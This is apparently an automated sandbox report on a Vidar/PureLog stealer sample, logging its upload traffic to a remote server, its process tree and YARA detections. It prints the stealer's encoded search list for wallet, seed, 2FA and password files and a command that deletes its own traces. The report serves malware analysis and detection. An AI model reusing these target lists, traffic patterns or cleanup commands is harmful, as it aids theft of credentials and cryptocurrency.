47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49766	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:35 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:35 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------DAAFBAKECAEGCBFIEGDGCont
2024-05-24 08:27:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:36 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49767	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:37 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 130769 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------AKECBFBAEBKJJJJKFCGCCont
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 47 36 72 4e 72 2f 41 4d 65 55 48 2f 58 4e 66 35 56 4b 4c 75 52 4e 54 74 62 54 61 44 48 4c 42 4a 4a 6e 48 4f 56 5a 52 31 2f 34 45 50 7a 39 71 2f 4c 71 48 76 56 4a 52 65 33 2f 41 41 54 39 61 68 38 43 30 76 70 2b 67 31 52 47 59 6f 35 2f 4b 58 79 58 41 50 6d 52 79 46 75 43 4d 37 75 52 30 72 6d 76 45 58 67 32 7a 53 31 76 74 55 6a 75 5a 78 4b 46 61 55 6f 32 43 70 50 58 30 72 71 4c 5a 58 67 6d 75 72 52 47 58 61 72 4c 4c 48 6b 5a 43 71 35 4f 52 2f 33 30 72 66 67 52 36 56 54 31 68 58 6a 38 4d 36 72 45 37 68 76 4c 6a 63 4b 51 4d 63 62 51 63 64 54 30 7a 69 76 59 77 44 64 47 71 70 55 74 47 39 48 62 31 50 4d 7a 4b 6a 43 72 53 6c 47 6f 72 70 4b 36 2b 34 38 67 6f 6f 6f 72 37 6b 2f 4f 41 6f 4e 46 46 41 43 56 36 48 38 4c 76 2b 52 66 31 44 2f 73 49 79 66 2b 67 4a 58 6e 75 Data Ascii: G6rNr/AMeUH/XNf5VKLuRNTtbTaDHLBJJnHOVZR1/4EPz9q/LqHvVJRe3/AAT9ah8C0vp+g1RGYo5/KXyXAPmRyFuCM7uR0rmvEXg2zS1vtUjuZxKFaUo2CpPX0rqLZXgmurRGXarLLHkZCq5OR/30rfgR6VT1hXj8M6rE7hvLjcKQMcbQcdT0zivYwDdGqpUtG9Hb1PMzKjCrSlGorpK6+48gooor7k/OAoNFFACV6H8Lv+Rf1D/sIyf+gJXnu
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 65 65 64 55 50 71 71 78 4f 71 2f 6f 42 58 54 2f 77 42 73 32 48 2f 51 54 30 66 2f 41 4d 4b 32 66 2f 34 6d 73 44 77 54 34 4a 38 51 36 56 34 75 73 37 2b 2f 73 52 44 62 78 65 59 58 63 7a 49 33 56 47 55 63 42 69 65 70 72 31 32 76 50 78 74 57 6e 47 6f 6c 44 56 4a 4a 61 50 74 66 73 64 65 48 70 79 6c 42 75 57 6a 75 2b 6e 6f 63 52 71 6c 7a 44 64 65 41 4e 53 65 47 65 32 6d 55 54 49 43 31 76 71 4c 33 71 67 37 34 2b 4e 37 41 45 48 2f 5a 2f 48 76 58 6e 48 4e 65 76 65 4e 76 2b 52 51 76 76 72 48 2f 41 4f 6a 46 72 79 4b 76 51 79 65 56 34 7a 66 6d 65 42 78 43 72 56 4b 61 38 68 4b 4b 4b 4b 39 6b 2b 65 43 69 69 69 67 42 4b 4b 57 69 67 59 43 69 69 69 67 41 4e 4a 53 30 6c 41 42 53 47 6c 6f 6f 41 53 69 69 69 67 41 6f 6f 6f 6f 47 4a 52 53 6d 6b 6f 41 53 69 6c 70 4d 55 77 43 6b Data Ascii: eedUPqqxOq/oBXT/wBs2H/QT0f/AMK2f/4msDwT4J8Q6V4us7+/sRDbxeYXczI3VGUcBiepr12vPxtWnGolDVJJaPtfsdeHpylBuWju+nocRqlzDdeANSeGe2mUTIC1vqL3qg74+N7AEH/Z/HvXnHNeveNv+RQvvrH/AOjFryKvQyeV4zfmeBxCrVKa8hKKKK9k+eCiiigBKKWigYCiiigANJS0lABSGlooASiiigAooooGJRSmkoASilpMUwCk
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 62 4c 61 71 5a 32 64 53 30 35 66 62 47 51 4d 4a 7a 36 45 45 35 36 6e 50 74 56 30 64 4b 39 4f 6c 55 35 34 33 74 62 31 50 45 72 55 76 5a 79 35 65 5a 50 30 43 69 69 69 74 44 49 44 53 55 70 70 4b 41 43 69 69 69 67 59 6e 4e 4c 52 52 51 41 55 6d 4b 57 69 67 42 4b 4b 4b 4b 42 68 53 55 74 46 41 43 55 55 55 55 41 46 4a 51 61 4b 59 77 6f 6f 6f 70 67 46 46 46 48 65 67 42 4b 4b 57 6b 70 44 43 6b 70 61 4b 59 43 55 55 47 69 67 41 70 4b 57 6a 46 41 78 4b 53 6e 55 6c 41 43 55 55 75 4b 54 46 4d 4c 68 33 70 4b 58 46 47 4b 4c 6a 45 6f 70 61 53 69 34 43 55 55 74 4a 54 41 4b 4d 55 55 55 44 45 6f 70 61 53 6d 41 55 6c 4c 52 51 4d 53 69 69 69 67 42 4b 44 52 53 6d 6d 41 6c 46 42 6f 46 41 77 70 44 53 30 55 41 4a 52 52 52 7a 54 47 46 46 46 46 4d 42 4f 31 46 4c 53 55 41 4a 52 6d 69 Data Ascii: bLaqZ2dS05fbGQMJz6EE56nPtV0dK9OlU543tb1PErUvZy5eZP0CiiitDIDSUppKACiiigYnNLRRQAUmKWigBKKKKBhSUtFACUUUUAFJQaKYwooopgFFFHegBKKWkpDCkpaKYCUUGigApKWjFAxKSnUlACUUuKTFMLh3pKXFGKLjEopaSi4CUUtJTAKMUUUDEopaSmAUlLRQMSiiigBKDRSmmAlFBoFAwpDS0UAJRRRzTGFFFFMBO1FLSUAJRmi
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 59 66 65 6c 62 33 70 70 4e 53 32 61 49 4f 39 49 54 6e 4e 47 65 65 6c 49 61 6c 6c 43 48 67 5a 7a 2b 46 4a 32 7a 53 6e 2f 4a 70 4f 33 53 6f 62 4b 51 32 6b 49 77 4f 6c 4c 52 53 47 4e 7a 52 32 70 61 62 6d 6b 4d 57 6d 2b 39 4b 61 51 30 68 6f 51 30 6e 31 70 53 44 6e 31 39 4b 54 70 53 4b 45 78 36 39 4b 4f 31 48 34 55 48 6f 61 42 6f 39 41 6f 6f 78 52 57 42 38 6d 48 54 6d 71 76 68 71 39 65 58 57 62 79 4d 73 63 43 4d 6e 48 2f 41 68 56 6f 39 44 57 54 34 57 2b 58 58 62 34 6e 76 47 52 2b 6f 72 79 4d 7a 62 55 36 64 6a 36 72 68 31 4a 30 61 37 66 6c 2b 70 5a 38 52 61 74 4c 39 73 61 7a 68 6b 5a 49 30 2b 2f 67 34 33 47 73 6a 53 74 66 65 32 76 74 73 30 6a 4e 61 74 78 67 6e 4f 30 2b 6f 71 76 34 69 6c 4b 61 78 64 52 66 78 46 79 53 66 59 38 31 7a 39 31 68 6e 74 59 38 34 57 53 Data Ascii: Yfelb3ppNS2aIO9ITnNGeelIallCHgZz+FJ2zSn/JpO3SobKQ2kIwOlLRSGNzR2pabmkMWm+9KaQ0hoQ0n1pSDn19KTpSKEx69KO1H4UHoaBo9AooxRWB8mHTmqvhq9eXWbyMscCMnH/AhVo9DWT4W+XXb4nvGR+oryMzbU6dj6rh1J0a7fl+pZ8RatL9sazhkZI0+/g43GsjStfe2vts0jNatxgnO0+oqv4ilKaxdRfxFySfY81z91hntY84WS
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 76 53 37 53 43 79 75 4c 4f 31 67 76 4c 2b 7a 38 35 5a 42 69 58 7a 47 77 49 33 4f 57 59 5a 35 41 34 41 47 52 69 6c 4f 70 33 45 39 35 71 6d 6c 32 4e 70 61 32 75 6f 78 33 30 2b 4c 4f 2b 52 4a 44 50 44 74 79 69 52 53 59 59 49 34 77 33 41 4b 35 33 44 44 45 67 43 73 76 37 58 70 74 36 52 2f 72 54 2f 41 44 4e 33 77 37 57 53 54 63 31 2f 56 2f 38 41 49 32 4b 4b 7a 4a 39 53 62 2b 7a 76 4b 69 66 54 35 6d 58 52 37 4f 35 46 74 42 41 45 75 49 57 59 52 6c 35 6e 6b 4b 44 63 76 7a 45 59 44 4d 54 76 48 41 77 53 4e 42 54 75 68 55 2b 71 39 36 36 38 4c 69 34 34 6a 6d 73 72 57 50 4f 78 2b 58 54 77 66 4c 7a 4f 2f 4e 2f 58 36 6a 36 4b 6f 61 6c 72 46 7a 61 61 63 73 44 52 57 44 54 33 37 4b 6b 42 46 6e 45 48 68 67 42 77 38 78 59 4a 75 79 54 38 6f 35 37 4d 66 51 30 38 36 68 4e 4c 71 Data Ascii: vS7SCyuLO1gvL+z85ZBiXzGwI3OWYZ5A4AGRilOp3E95qml2Npa2uox30+LO+RJDPDtyiRSYYI4w3AK53DDEgCsv7Xpt6R/rT/ADN3w7WSTc1/V/8AI2KKzJ9Sb+zvKifT5mXR7O5FtBAEuIWYRl5nkKDcvzEYDMTvHAwSNBTuhU+q9668Li44jmsrWPOx+XTwfLzO/N/X6j6KoalrFzaacsDRWDT37KkBFnEHhgBw8xYJuyT8o57MfQ086hNLq
2024-05-24 08:27:37 UTC	16355	OUT	Data Raw: 70 53 55 68 67 4d 59 39 71 54 4e 4b 65 6c 4a 6d 67 59 44 67 65 31 4a 37 30 76 4e 4a 6e 2f 4a 70 67 48 58 36 65 39 49 63 34 36 55 70 36 39 61 51 6d 6b 4d 54 36 30 55 76 57 6b 36 39 71 59 78 44 31 6f 36 64 4f 50 70 53 2f 53 6b 37 2f 34 55 44 50 52 4b 4b 4b 4b 7a 50 6b 51 6f 72 52 30 62 53 57 31 69 37 6b 74 31 6c 45 5a 53 4d 79 5a 4b 35 7a 67 67 59 36 2b 39 61 6e 2f 43 4a 45 4d 56 61 38 49 49 36 67 78 66 2f 58 72 7a 63 56 6d 32 44 77 6b 2f 5a 31 70 32 66 6f 33 2b 53 50 53 77 75 55 59 33 46 30 2f 61 55 59 58 58 71 6c 2b 62 4f 61 6f 72 71 42 34 50 7a 2f 79 2f 2f 77 44 6b 48 2f 37 4b 6f 4e 53 38 4d 66 32 66 70 30 74 33 39 73 38 7a 79 38 66 4c 35 57 4d 35 49 48 58 50 76 57 56 4c 50 63 76 71 7a 56 4f 46 53 37 62 73 74 4a 62 76 35 47 74 58 49 63 77 70 51 64 53 64 Data Ascii: pSUhgMY9qTNKelJmgYDge1J70vNJn/JpgHX6e9Ic46Up69aQmkMT60UvWk69qYxD1o6dOPpS/Sk7/4UDPRKKKKzPkQorR0bSW1i7kt1lEZSMyZK5zggY6+9an/CJEMVa8II6gxf/XrzcVm2Dwk/Z1p2fo3+SPSwuUY3F0/aUYXXql+bOaorqB4Pz/y//wDkH/7KoNS8Mf2fp0t39s8zy8fL5WM5IHXPvWVLPcvqzVOFS7bstJbv5GtXIcwpQdSd
2024-05-24 08:27:37 UTC	16284	OUT	Data Raw: 63 37 63 5a 37 48 38 71 67 38 35 44 47 30 6f 4f 59 31 77 47 63 41 37 52 6e 4f 4d 6e 74 6e 42 2f 4b 75 53 74 68 63 4e 57 71 77 72 50 34 6f 37 50 2b 75 68 32 55 63 54 69 71 46 4b 64 42 4a 38 73 74 30 31 2f 57 70 4c 53 56 4b 31 76 63 70 46 46 49 39 6e 64 4c 48 4e 6a 79 6e 4d 44 37 58 79 4d 2f 4b 63 59 50 41 4a 34 71 74 35 38 66 6c 47 58 64 2b 37 42 43 6c 2b 77 4a 7a 67 5a 39 65 44 2b 56 64 61 71 51 65 7a 4f 52 30 71 69 33 69 2f 75 4a 4b 58 4e 4c 63 78 79 32 66 6c 2f 61 34 4a 37 66 7a 50 39 58 35 30 54 4a 76 38 41 70 6b 63 39 65 31 4f 6e 67 6e 74 4a 46 6a 75 72 65 65 33 64 77 53 71 7a 52 4d 68 59 44 30 79 42 6d 68 56 49 50 5a 67 36 4e 52 58 62 69 39 50 49 6a 6f 6f 6f 71 7a 4d 57 6d 75 4d 6f 77 48 63 55 76 49 6b 6a 54 61 2b 2b 55 41 78 72 74 4f 58 42 4f 42 74 Data Ascii: c7cZ7H8qg85DG0oOY1wGcA7RnOMntnB/KuSthcNWqwrP4o7P+uh2UcTiqFKdBJ8st01/WpLSVK1vcpFFI9ndLHNjynMD7XyM/KcYPAJ4qt58flGXd+7BCl+wJzgZ9eD+VdaqQezOR0qi3i/uJKXNLcxy2fl/a4J7fzP9X50TJv8Apkc9e1OngntJFjuree3dwSqzRMhYD0yBmhVIPZg6NRXbi9PIjoooqzMWmuMowHcUvIkjTa++UAxrtOXBOBt
2024-05-24 08:27:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:38 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49768	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:39 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:39 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------FBKJKEHIJECGCBFIJEGICont
2024-05-24 08:27:40 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:26:59
Start date:	24/05/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe"
Imagebase:	0x5a0000
File size:	5'039'032 bytes
MD5 hash:	3D5D6485AF7CD75F9CB1284A35E70F97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:26:59
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Imagebase:	0x980000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:27:00
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6580 -s 1096
Imagebase:	0x8a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:27:41
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe" & rd /s /q "C:\ProgramData\AFCBAEBAEBFH" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:27:41
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:27:41
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xe20000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	12.6%
Signature Coverage:	6%
Total number of Nodes:	1192
Total number of Limit Nodes:	55

Executed Functions

Function 6D02B6B0 Relevance: 35.2, APIs: 23, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D02B73F
VariantInit.OLEAUT32(?), ref: 6D02B748
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02B7BE
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02B7F5
VariantClear.OLEAUT32(?), ref: 6D02B801

Part of subcall function 6D02C850: VariantInit.OLEAUT32(?), ref: 6D02C88F
Part of subcall function 6D02C850: VariantInit.OLEAUT32(?), ref: 6D02C895
Part of subcall function 6D02C850: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02C8A0
Part of subcall function 6D02C850: SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D02C8D5
Part of subcall function 6D02C850: VariantClear.OLEAUT32(?), ref: 6D02C8E1

VariantClear.OLEAUT32(?), ref: 6D02BA15
SafeArrayDestroy.OLEAUT32(?), ref: 6D02BE90
VariantClear.OLEAUT32(?), ref: 6D02BEA3
VariantClear.OLEAUT32(?), ref: 6D02BEA9

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateElementVector$Destroy
String ID:
API String ID: 2012514194-0
Opcode ID: 1155bf0f81c24c7213ba681b333cfe15e2686a7953a1c7854f26c88b587db655
Instruction ID: ead2cb8ae8bbbc9c4f9e44c934e4cd614c56064ba0bfc3c8e1422cb6fda7dd80
Opcode Fuzzy Hash: 1155bf0f81c24c7213ba681b333cfe15e2686a7953a1c7854f26c88b587db655
Instruction Fuzzy Hash: C8525A71901219DFDF10CFA8C880BEEBBF6BF89310F158199E909AB355DB70A945CB91

Function 05CC0EB3 Relevance: 29.6, Strings: 23, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p<^q, xrefs: 05CC1142
LOOK, xrefs: 05CC0F6A
p<^q, xrefs: 05CC118D
LOOK, xrefs: 05CC158D
p<^q, xrefs: 05CC1177
HERE, xrefs: 05CC19F0
LOOK, xrefs: 05CC19EB
Gvq, xrefs: 05CC1CCD
HERE, xrefs: 05CC17E9
HERE, xrefs: 05CC0F6F
LOOK, xrefs: 05CC1081
HERE, xrefs: 05CC1086
Gvq, xrefs: 05CC16D2
HERE, xrefs: 05CC1592
Gvq, xrefs: 05CC14CA
Gvq, xrefs: 05CC1243
LOOK, xrefs: 05CC1A9F
HERE, xrefs: 05CC12EC
Gvq, xrefs: 05CC1923
HERE, xrefs: 05CC1AA4
LOOK, xrefs: 05CC17E4
p<^q, xrefs: 05CC112C
LOOK, xrefs: 05CC12E7

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: HERE$HERE$HERE$HERE$HERE$HERE$HERE$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$p<^q$p<^q$p<^q$p<^q$Gvq$Gvq$Gvq$Gvq$Gvq
API String ID: 0-3728642687
Opcode ID: 357c35e6a6916a9041fd8635ef2f6353adf63f95f9d4c85fb1fce37b650a8554
Instruction ID: 96b4654169d5a67d8ee9b58b0f1fab47b8862b73dffcdf1f058c7db8b9d89207
Opcode Fuzzy Hash: 357c35e6a6916a9041fd8635ef2f6353adf63f95f9d4c85fb1fce37b650a8554
Instruction Fuzzy Hash: D582B274E002298FDB64DF69C988BD9BBB2BB48300F1485E9D50DAB365DB349E85CF50

Function 6D01B6C0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 245
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(mscoree.dll,4E8A916F), ref: 6D01B711
LoadLibraryW.KERNEL32(mscoree.dll), ref: 6D01B71C
GetProcAddress.KERNEL32(00000000,CLRCreateInstance), ref: 6D01B730
